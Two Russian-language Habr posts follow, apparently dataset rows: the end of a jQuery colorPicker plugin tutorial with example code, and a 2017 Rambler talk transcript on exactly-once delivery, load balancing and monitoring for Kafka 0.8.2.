Итак, с элементом input, который имеет идентификатор **colorpickerField** мы связываем событие **keyup**. Функция, которая будет выполнена при наступлении этого события, установит цвет на котором будет открыт colorPicker — да собственно это видно даже из ее названия.
Теперь про два параметра, которые мы передаем плагину. Перед тем как colorPicker будет показан (**onBeforeShow**) вызывается таже самая функция, что и по событию keyup, и делает она тоже самое. Ну а после того, как цвет выбран (**onSubmit**) — его значение в шестнадцатиричном виде записывается в элемент input.
Теперь третий пример — **colorPicker** «скрывается» за картинкой вставленной в элемент div. Сначала HTML-код:
Здесь с помощью стиля мы задаем фон, который по умолчанию будет «просвечивать» через картинку в формате png (посмотрите в исходном коде соответствующие стили).
И javascript-код для этого примера:
> `1. // проимер №3
> 2. $('#colorSelector').ColorPicker({
> 3. color: '#0000ff',
> 4. onShow: function (cp) {
> 5. $(cp).fadeIn(500);
> 6. return false;
> 7. },
> 8. onHide: function (cp) {
> 9. $(cp).fadeOut(500);
> 10. return false;
> 11. },
> 12. onChange: function (hsb, hex, rgb) {
> 13. $('#colorSelector div')
> 14. .css('backgroundColor', '#'+hex);
> 15. }
> 16. });
> \* This source code was highlighted with Source Code Highlighter.`
В опции color мы указываем цвет, на котором откроется **colorPicker**, в опциях onShow и onHide (названия говорят сами за себя, правда?) мы, пользуясь методами библиотеки **jQUery** задаем некую анимацию, немного оживляя появление и скрытие colorPicker'а.
Немного об onChange — при изменении текущего цвета мы немедленно считываем его и изменяем css-свойство **backgroundColor** для элемента div, заставляя таким образом изменяться тот фон, который «просвечивает» через png-изображение.
В общем через примеры мы познакомились практически со всеми доступными опциями. Упомяну разве еще eventName — событие, по которому будет вызван colorPicker. По умолчанию это click. И еще **livePreview** — позволяет отключить изменение цифровых значений в процессе выбора цвета, если установить эту опцию в false. По умолчанию — true.
Ну и скачать архив: [x3k.name/habrahabr/jquery.colorpicker.rar](http://x3k.name/habrahabr/jquery.colorpicker.rar)
[ТюТю](http://www.linkexchanger.su/2008/69.html) | https://habr.com/ru/post/42996/ | null | ru | null |
# Kafka в условиях повышенной нагрузки. Артём Выборнов (2017)
Kafka — распределённый брокер сообщений, нашедший широкое применение как универсальная шина для больших данных. Kafka позволяет как реализовать realtime-обработку большого числа событий, так и построить батчевый pipeline по доставке логов.
Почему мы используем Kafka? Если коротко — унификация. А если чуть подробнее — десятки поставщиков, терабайты логов каждый день, онлайн- и офлайн-pipeline'ы — без единой высокопроизводительной шины данных с этим крайне сложно совладать.
Из доклада вы узнаете о том, почему мы перешли на Kafka, и как она вписалась в наш pipeline. Поймёте, как обеспечить exactly once доставку данных. Узнаете о том, как из-за одной опечатки в несколько раз выросла нагрузка на Kafka, и что мы из этого выяснили. Выясните, какие метрики Kafka стоит мониторить и как по ним понять, что что-то идёт не так.
Видео:
Доклад 2017 года. Версия Kafka 0.8.2. Сейчас реалии уже могут немного отличаться. Но основные концепции остались такие же.
Когда я кому-то говорю, что работаю в Rambler, люди отвечают довольно однотипно. Вторым по популярности ответом является: «О, я знаю Rambler. Это поиск». На самом деле Rambler – это уже давно не поиск. Мы сейчас конкурируем за пол процента аудитории с Bing и это вообще не интересно.
На этом графике более интересно то, что Google, наконец-то, обогнал Яндекс.
Какой, по вашему мнению, самый популярный ответ на то, что я работаю в Rambler? Самый популярный ответ: «А Rambler еще жив?». На самом деле Rambler жив.
Сейчас Rambler Group это крупнейший в России интернет медиахолдинг. В него входят такие известные ресурсы, как: Rambler, Лента, Газета, Афиша, Чемпионат и много-много других. Аудитория составляет более 40 000 000 человек.
Преимущественно это медиаресурсы, на них заходят пользователи чтобы узнать новости, почитать статьи и это надо как-то монетизировать. Монетизируется это все за счет рекламы. Для того чтобы делать это наиболее эффективным образом, Rambler несколько лет назад создал подразделение рекламных технологий, в котором я и работаю.
Мы собираем данные со всех этих сайтов с целью извлечь полезную информацию, чтобы как итог больше заработать на рекламе.
Когда мы собрали информацию, то, что мы с ней делаем?
* Мы занимаемся сегментацией аудитории. К примеру, классифицируем пользователей по полу, возрасту. Определяем пользовательские интересы. Например, какие люди интересуются автомобилем Ford или кто собирается поехать в отпуск в следующем месяце. Находим аудиторию, похожую на аудиторию какого-то более маленького сайта.
* Мы прогнозируем трафик.
* Предсказываем CTR.
* Строим рекомендации.
* Делаем аналитику.
* И многое другое.
Но прежде чем все эти полезные действия совершить, нам нужно получить данные.
Для этого раньше у нас был целый зоопарк способов, на слайде приведены самые популярные из них.
Основой получения данных был worker. На самом деле их было много, просто здесь на рисунке изображен один. Он забирал на себя данные, локально их сохранял, а затем перекладывал в Hadoop.
Данные мы храним в HDFS и обрабатываем с помощью Spark и Hive. После того как они обработаны, нужно полученной информацией поделиться с окружающим миром — под это мы используем key-value базу Aerospike.
Вроде бы все хорошо, но на самом деле в этом подходе кроется много проблем:
* Во-первых, это зоопарк. Добавление каждого нового партнера – это часть решения абсолютно новой задачи как со стороны этого партнера (источника данных), так и со стороны нас (потребителя).
* Во-вторых, worker здесь выглядит как один сервер. На самом деле это какой-то набор воркеров и каждый файл должен сначала пройти через одну из нод, где будет сохранен на диск, а потом уже выгружен в Hadoop. Worker — это узкое место.
* В-третьих, таким способом нельзя реализовать real-time pipeline обработки данных. Предположим какой-то партнер стал присылать данные микробатчами по одной минуте. Мы их забрали и сохранили на сервере, переложили в HDFS, на HDFS обработали, выгрузили в Aerospike. Если всё пройдет идеально, то получим задержки в десятки минут, — ни о каком real-time речь уже не идет.
Что мы сделали? Все, что находится слева, выбросили и заменили на Kafka. Kafka – это брокер сообщений для больших данных. Он не обладает такой крутой логикой доставки сообщений, как RabbitMQ, он более простой, но при этом он более производительный при большой нагрузке. В Kafka могут писать много поставщиков и из неё могут читать много потребителей.
Но данные из Kafka надо каким-то образом доставить до HDFS, для этого мы используем Gobblin.
Это решение от создателей Kafka компании LinkedIn. По сути это Map-Reduce задача, которая крутится на Hadoop и перекладывает данные из Kafka в HDFS.
В дополнение мы получили возможность приблизиться к real time.
Мы его реализуем с помощью Spark Streaming. Это такая задача на Spark, которая постоянно работает на кластере Hadoop (LLAP). От Kafka Spark Streaming откусывает микробатч информации, обрабатывает и складывает результат в key-value базу.
Самое главное преимущество такого подхода в том, что мы полностью минуем стадии записи и чтения из HDFS, все происходит в памяти. Мы с Kafka считали данные, обработали и положили результат в Aerospike.
Такой подход позволил нам получить задержку между наступлением события и обновлением соответствующей информации в Aerospike порядка одной минуты.
Про что сегодня расскажу?
* Во-первых, я расскажу, как приготовить Kafka и обеспечить с помощью нее семантику exactly once.
* Во-вторых, я расскажу, как из-за нашей ошибки у нас выросла нагрузка на Kafka в 4 раза и о том, что мы из этого интересного вынесли.
* В-третьих, я подытожу, рассказав, на какие метрики Kafka стоит обратить отдельное внимание.
Для начала посмотрим, как устроена Kafka.
Kafka состоит из набора брокеров (каждый брокер – это отдельная машина) и ZooKeeper для хранения метаданных. На самих брокерах хранятся сообщения. В Kafka пишут producers, из Kafka читают consumers.
Базовым элементом Kafka является поток сообщений. Он называется topic. Топик состоит из партиций.
Каждую партицию можно представить как array list. Это последовательность сообщений, где все сообщения по порядку пронумерованы, причем чем сообщение свежее, тем больше у него номер.
В партиции данные дописывает продюсер, в процессе записи сообщения шардируются.
Если вы ранее слышали про Kafka, то наверняка знаете, что одним из бонусов Kafka и отличием от других популярных решений является то, что она хранит данные на диске и их реплицирует.
Репликация в Kafka происходит с точностью до партиций. Репликация асинхронная: master-slave. Master в терминах Kafka называется лидер.
Consumers, producers всегда работают только с лидером, т. е. запись и чтение происходит только с лидера (master партиции). Затем данные с лидера aсинхронно доезжают до всех остальных реплик.
Все бы хорошо, но у асинхронной репликации есть типичная проблема — slave-партиция может отставать от мастера (на некую дельту). Это в целом не столь страшно, но стоит обратить на внимание на процесс переизбрания лидеров.
К примеру, наш мастер выпал, т. е. нода, на которой лежал мастер этой партиции, теперь недоступна. Kafka производит переизбрание лидеров и лидером становится какая-то slave реплика. Мы получаем потерю данных в размере дельты отставания, которая в общем случае больше нуля.
В документации по Kafka есть 2 вида переизбрания лидеров: это clean и unclean. С первого взгляда кажется, что unclean – это какой-то плохой способ, и при нём теряем данные, а clean – это хороший, и данные не теряем. Но на самом деле это не так. Единственное между ними различие — размер этой дельты.
Если slave в момент переключения отставал от мастера больше, чем на заранее заданное число сообщений, то мы говорим, что это unclean, а если меньше, то говорим, что это clean.
Отсюда мы получаем важный инсайд — при переизбрании лидеров мы всегда теряем данные.
А также есть еще один неочевидный нюанс, который не описан в документации: переизбрание может происходить, когда у вас все хорошо. Кластер Kafka работает стабильно, нагрузка распределена равномерно, время ответа небольшое, а Kafka взяла и переизбрала лидеров, и следовательно мы потеряли данные.
Это грустно, а что же с этим делать?
Для этого пойдем дальше. Есть такой стандартный механизм в любой системе, в которую происходит запись данных -это возможность явно подтвердить факт успешной операции записи. Такая же функциональность есть и в Kafka.
Рассмотрим на примере. Если продюсер пишет в Kafka и этот параметр на продюсере был выставлен в ноль, то никакого подтверждения не будет получено.
Если параметр будет установлен в единичку, тогда вам придет подтверждение после успешной записи одной реплики, т. е. после записи в лидер (как мы помним продюсер всегда пишет напрямую в лидер).
Интересный момент. Если значение этого параметра -1, то Kafka вышлет подтверждение при успешной записи во все синхронные партиции. А что Kafka понимает под синхронными партициями — конфигурируется отдельным ключом на самой Kafka. Для каждого топика можно задать число партиций, которые Kafka должна держать в in sync. Если в insync стоит 1, то это никак не отличается от предыдущего примера.
А если вы поставить insync.replicas = 2, тогда Kafka отправит продюсеру подтверждение, когда обе реплики будут успешно записаны.
Вроде бы все хорошо. В таком случае, если будет переизбрание лидеров мы не потерям данные, потому что по факту всё будет работать как синхронная репликация. Да, бесспорно, будет какой-то дополнительный overhead на продюсер, т. к. он будет дольше ждать ответа от Kafka, но это не столь страшно и в целом решаемая задача.
Более серьёзная проблема заключается в том, что если в данной ситуации одна из реплик выпадает, то мы вообще не сможем продолжить запись данных в топик. Это происходит из-за того, что Kafka ждет пока не будут записаны две реплики, а доступна лишь одна.
Это довольно серьёзная проблема. Сейчас я опишу подход, к которому мы пришли, насколько он хорош — уже вам решать. Мы держим для важных топиков insync.replicas = 2, а replication factor = 3. При таких настройках если у нас одна из insync реплик выпадет, то оставшаяся реплика за конечное время догонит лидера, и продюсер сможет продолжить запись в Kafka.
Одним из фундаментальных понятий Kafka являются отступы.
Как вы помните, партиция представляет собой набор пронумерованных сообщений. Отступ это номер какого-то сообщения. Среди отступов есть два особенных:
Latest offset – это номер самого последнего добавленного в партицию сообщения.
Earliest offset – это номер самого старого доступного сообщения.
Kafka хранит данные не все время, а за какой-то период, который вы задаёте в настройках, и в фоне удаляёт слишком старые данные. Поэтому earliest offset постоянно движется вперед. По сути, между earliest и latest offset, мы получаем окно, которое постоянно движется вперёд.
Предположим у нас ранее отработал consumer и зафетчил данные вплоть до какого-то отступа, т. е. данные от earliest offset до offset у нас уже были зафетчены и куда-то сохранены. При следующем запуске нашего consumer требуется забрать выделенный розовым кусочек данных с offset до latest offset и обновить отступы (то есть значение отступа до которого мы выкачали данные в предыдущую итерацию).
Здесь есть важный нюанс в том, как мы производим процесс обновления отступов. От этого зависит с какого момента, при следующем запуске, consumer начнет работу.
Для этого существует несколько способов, если вы выбираете consumer для Kafka — это первое на что стоит обратить внимание.
Подход по умолчанию – автоматическое сохранение. Но на самом деле он самый ненадёжный.
Как он работает? Consumer фетчит данные из Kafka. Kafka периодически до него стучится с целью проверить: жив он или не жив. Если он жив, то Kafka сохраняет соответствующий отступ.
В чем здесь проблема? Рассмотрим пример: consumer зафетчил данные, Kafka убедилась в том что он жив и сохранила отступ, а он, не успев записать данные на диск, упал. Мы получили потерю данных.
Может быть и другая ситуация. К примеру, consumer успел записать данные на диск и упал, Kafka пришла проверить жив ли он, а он уже мертв. Kafka отступ не сохранит, а мы получим дубли в данных. Т. е. такой подход не способен обеспечить никакую семантику доставки.
Следующий способ – это сохранение вручную. Он работаем следующим образом: consumer фетчит данные из Kafka, после скачивания очередного батча, он явно отправляет следующее сообщение: «Kafka, я этот кусочек данных успешно скачал, сохрани отступы». Выглядит надёжнее чем предыдущий способ, но это обеспечит только at least once семантику.
At least once – это такая семантика, при которой мы данные не теряем, но могут быть дубли.
Почему такое может произойти? Рассмотрим аналогичную ситуацию: предположим, мы сохранили батч данных, но, когда consumer начал отправлять уведомление об этом Kafka, кто-то дернул `kill -9` и consumer благополучно упал, не успев сообщить о том, что нужно было сохранить отступы. Получили дубли данных.
На самом деле эта семантика не такая плохая. Большинство pipeline по доставке данных работают как раз в at least once семантике с последующей дедупликацией.
Но мы гонимся за пресловутой семантикой exactly once. Как её обеспечить?
Единственный путь обеспечить exactly once на чтение – это хранить данные и отступы вне Kafka. При этом сохранение данных и отступов должно быть атомарно. Если оно будет не атомарно, то мы можем получить аналогичную предыдущему примеру проблему: мы сохранили сколько-то данных, а отступы потерялись. И на следующей итерации мы повторно эти данные выкачаем.
Если у вас в качестве целевой базы данных выступает полноценная база с транзакциями, то атомарность обеспечить не сложно. В нашем случае – это HDFS, а там транзакций нет.
Я вам расскажу решение этой проблемы от кампании LinkedIn. Оно используется в Gobblin для обеспечения exactly once семантики при фетче в HDFS.
Предположим, у нас отработал consumer и сохранил 2 файла с данными и файл с отступами в какую-то временную папку. Затем их надо переместить в production директорию. Важно отметить что move (mv) одного файла в Hadoop атомарный.
Это перемещение разбивается на набор атомарных операций и сonsumer пробует их по очереди выполнить.
Предположим, первый отработал успешно, а на втором мы упали. Тогда при следующем запуске consumer’а, он первым делом посмотрит в эту временную директорию и узнает какие файлы еще не были перемещены. Также у него есть информация о том, что должно было быть перемещено и куда. На основе этих вводных он попытается завершить процесс.
Если у него это получилось — значит мы закончили предыдущий fetch данных, правда в начале следующего fetch’а. Если не получилось завершить, то вся необходимая информация для полного отката изменений также присутствует. Таким образом можно получить exactly once даже при сохранении в базах данных без транзакций.
Вроде бы все хорошо:
* Producer получает ответ об успешной записи данных.
* Kafka реплицирует данные и данные внутри себя не теряет.
* Мы фетчим данные в HDFS с семантикой exactly once. Exactly once – это семантика, когда мы забираем данные без потерь и без дублей.
Но у нас начались проблемы. Поговорим о том, как они проявили себя.
Во-первых, они начали проявляться в запаздывании логов. Большая часть pipeline – это обработка дневных логов: мы накапливаем данные за день и затем (на следующий день) запускаем их обработку на Hadoop.
Если данные за вчера доезжают сразу после полуночи (в 1-2 ночи — на слайде зеленая отметка), то все зависящие от них pipeline успешно отрабатывают.
Но если они доезжают с бОльшим опозданием, например, после обеда или тем более с опозданием на день, то у нас начинаются проблемы.
Мы не успеваем вовремя посчитать требуемые pipeline, метрики, аналитику и прочее. В общем, данные стали к нам приезжать с большИм опозданием.
Во-вторых, у нас появились дубли сообщений. Эта пресловутая семантика Exactly once, которой мы так дорожим, оказалась нарушена.
Кроме этого, мы заметили очень медленную работу consumers на микробатчах (в real-time пайплайнах): минутный батч данных из Kafka фетчился по 2-3 минуты.
Также consumers стали падать с ошибками, при этом все из них были довольно однотипны: я не могу достучаться до Kafka, я не могу получить важную информацию от Kafka, etc.
Для последних двух проблем существовала общая причина: Kafka стала очень медленно отвечать на простейшие запросы — по несколько минут. Точнее отдельные ноды Kafka стали очень медленно отвечать на эти запросы.
Если фетчить информацию большим батчем (к примеру раз в полчаса), то эти пару минут задержки будут просто не заметны. А если фетчить каждую минуту, то эти две минуты приведут к серьезной деградации pipeline.
Первым делом мы посмотрели в мониторинг и увидели, что нагрузка на чтение из Kafka выросла в 4 раза.
Нижняя красная линия – это пиковая нагрузка до этих проблем. Верхняя красная линия – нагрузка когда мы эти проблемы обнаружили. Желтый график – это график на чтение.
А еще более интересную картину мы увидели, когда посмотрели на эту же информацию (нагрузка на чтение) в разрезе нод и увидели какую-то лапшу которую сложно разобрать.
Ключевое, что можно вынести из этого графика, — Kafka недозагружена, в отдельные моменты времени чтение происходит только с двух-трех нод кластера из пяти машин. В добавок на этой картинке отлично видно постоянное переизбрание лидеров: Kafka лихорадочно пытается переизбрать лидеров, чтобы сбалансировать нагрузку и у нее ничего не получается.
В чем же была причина? Причина такого неравномерного распределения по нодам оказалась в двух вещах:
* Во-первых, Kafka неравномерно распределяла партиции по нодам.
* Во-вторых, Kafka неравномерно распределяла лидеров по нодам.
Конечно, у меня на слайде изображен гротескный случай. Но на самом деле он крайне близок к истине, примерно так все и было.
Важно отметить, что даже если у вас все хорошо и трафик не вырос в 4 раза — то Kafka все равно может ошибаться и неккоректно распределять лидеров партиций по нодам.
Как же мы решили эту проблему? Более-менее автоматизированного способа решения мы не нашли и единственное решение, которое нам помогло – это ручное распределение. В Kafka можно скормить конфиг, который описывает на каких нодах какие партиции должны лежать и какие из них должны быть лидерами. Это позволяет построить картинку ближе к идеалу.
Понятное дело, все, о чем я сейчас говорю, верно лишь для самых толстых топиков, через которые проходит наибольшее количество информации.
Другой элемент решения совсем не очевиден — повышаем репликацию. Хотя казалось бы: трафик на чтение увеличился в 4 раза, зачем его еще повышать допонительным чтением данных на репликацию?
Сейчас попытаюсь объяснить, почему это помогает. Вот снова наша гротескная ситуация:
Весь трафик пришелся на первый брокер, на нем все лидеры, он красненький, ему очень плохо.
Что делает Kafka в этом случае? По какому-то таймауту брокер не ответил, Kafka решает: «Ему плохо, дай-ка я сниму нагрузку». И получаем следующее:
Весь трафик переезжает на другой брокер и плохо уже ему. Именно эту картину вы и видели ранее на графике нагрузки в разрезе по нодам.
А если бы у нас был фактор репликации, к примеру, 3, то мы бы могли увидеть после этого процесса следующую картину:
По сути мы помогли Kafka меньше ошибаться при распределении нагрузки по нодам — чем больше реплик, тем ей сложнее ошибиться.
Все, что я описываю верно для Kafka 0.8.2, надеюсь, в новых релизах её сделали чуть умнее. Для всех старых версий эта проблема очень актуальна.
Также повышение нагрузки выявило довольно классические проблемы, которые, наверное, бывают во всех сервисах обработки данных.
Мы уперлись в сеть. У нас часть нод в стойке оказались с uplink в 1 Gb. Это примерно 125 мегабайт в секунду. На графике у нас на ноду приходилось более 150 мегабайт в секунду. Понятное дело — сеть была загружена.
Мы внезапно узнали, что Kafka не дружит с RAID 5. Почему внезапно? Основная причина — документация читается в последний момент. Уже из практики мы узнали что RAID 5 хорошо работает с Kafka до первого сбоя. В момент, когда у вас на RAID 5 теряется блок данных и начинается восстановление, производительность Kafka сильно деградирует. Для Kafka рекомендуется использовать RAID 10.
По итогу мы поправили все описанные выше проблемы:
* Самое главное, мы равномерно размазали всю нагрузку.
* Разобрались с сетью.
* Разобрались с дисками.
* Kafka стала отвечать на базовые запросы за адекватное время — вместо минут за секунды.
Но нагрузка осталась такой же высокой.
В чем же была проблема с избыточной нагрузкой?
Как уже нетрудно догадаться, проблема оказалась в повторном скачивании данных — у нас был at least once.
Корень этой проблемы заключался в следующем. Мы использовали батчевый consumer данных с Kafka — Camus, это прародитель Gobblin.
Он сохраняет отступы для топиков в директорию под названием history. И из-за ошибки в конфиге отступы всех топиков стали попадать в одну папку. На слайде приведен фикс, исправляющий проблему.
Это стало возможным из-за того, что Camus был заточен под фетч несольких топиков за один запуск. Мы иногда теряли отступы после успешного фетча, а иногда они успешно обновлялись. Из-за этого было крайне сложно понять, что проблема именно в этом месте.
Искомый фикс вкатили. Так было:
Так стало:
На слайде видим нагрузку на Kafka в нормальном режиме работы. Пиковый трафик упал в 4 раза, а периодические пики, которые вы видите, это запуск нашего consumer раз в полчаса. У нас на Hadoop работают задачи, которые каждые полчаса просыпаются, фетчат новые данные и обратно засыпают.
Немного цифр. К чему мы сейчас пришли?
Сейчас Kafka состоит из тех же 5 серверов, каждый день в нее записывается порядка 3 млрд событий. Это более 5 терабайт информации. Пиковая нагрузка на запись порядка гигабита.
Каждый день из Kafka вычитывается порядка 18 терабайт информации. И пиковая нагрузка порядка 5 гигабит. Это на 5 серверов.
Стоит отметить, что в данный момент мы держим нагрузку большую, чем та которая вызвала описанные выше проблемы, но сейчас на том же железе мы с ней успешно справляемся, растём дальше.
На последок пара слов про мониторинг.
В первую очередь стоит мониторить узкие места:
* Сеть
* Диски
* Распределение нагрузки
Вы должны за этим следить, Kafka может ошибаться, и ей будет требоваться ваша помощь.
Вот, к примеру, график распределения нагрузки по нодам, когда у вас все хорошо:
Здесь можно увидеть, что 4 ноды работают более-менее в унисон. Одна немного отстает, но это не критично. При этом на графике ближе к концу заметно, как Kafka сделала leader reelection, и баланс немножко изменился.
Во-вторых, стоит мониторить переизбрание лидеров. Да, вы на это повлиять никак не можете и данные все равно потеряете, но круто иметь количественную метрику того, насколько часто и насколько много данных вы теряете.
В-третьих, стоит мониторить рассинхрон партиций. В любой системе с асинхронной репликацией на это стоит смотреть. Метрик для этого целое множество. Из тех, которые нравятся мне, это:
* Число несинхронных партиций из тех, которые должны быть in sync
* Максимальный лаг репликации
Это график максимального лага репликации с точностью до сервера показывающий на сколько сообщений мы отстаем:
Что можно увидеть на этом графике? В целом все хорошо, лаг около нуля с отдельными пиками — это нормальная ситуация. Стоит начать беспокоиться, когда у вас лаг стабильно больше нуля, т. е. ваша система не успевает вовремя реплицировать всю поступающую в нее информацию.
И, в-четвертых, время ответа на простейшие запросы. Это, наверное, самая главная метрика. Сама по себе она мало что значит, если только вы не хотите с помощью Kafka делать около real-time обработку данных. Но её повышение является очень важным симптомом проблем с вашей Kafka.
Здесь изображено время ответа на запросы consumer’а:
И красной линией выделена отсечка в 10 секунд, которую мы нашли эмпирическим образом и сейчас используем в продакшн. Если Kafka отвечает дольше, чем за 10 секунд, кричим: «Караул!».
На этом графике видно два пика. По ним сразу видно, что голубенькой ноде очень плохо и пора начать разбираться её переодическими долгими ответами. Но проблемы не только на ней, на других нодах они тоже заметны.
В качестве итога:
* Если вы хотите обеспечить exactly once семантику доставки данных на базе Kafka, то это возможно. Но вы должны обращать внимание на все элементы pipeline. Вы должны понимать как это работает и внимательно контролировать и producer'ы, и consumer'ы и саму Kafka. Когда у вас много поставщиков данных, то крайне сложно за всеми уследить и обеспечить exactly once для всех. Рекомендую придирчиво относится только к тем данным, где это действительно необходимо.
* Нужно мониторить узкие места. В нашем случае при повышении нагрузки это оказались — сеть, диски и баланс нагрузки по нодам.
* Также стоит мониторить множество дополнительных метрик. Самая главная – это время ответа Kafka на запросы, причем как продюсера, так и консьюмера. И бесспорно стоит мониторить классические метрики аля cpu, memory, etc.
По вопросам доклада можно обратиться к [Артёму Выборнову](https://www.facebook.com/artvybor/) | https://habr.com/ru/post/530714/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.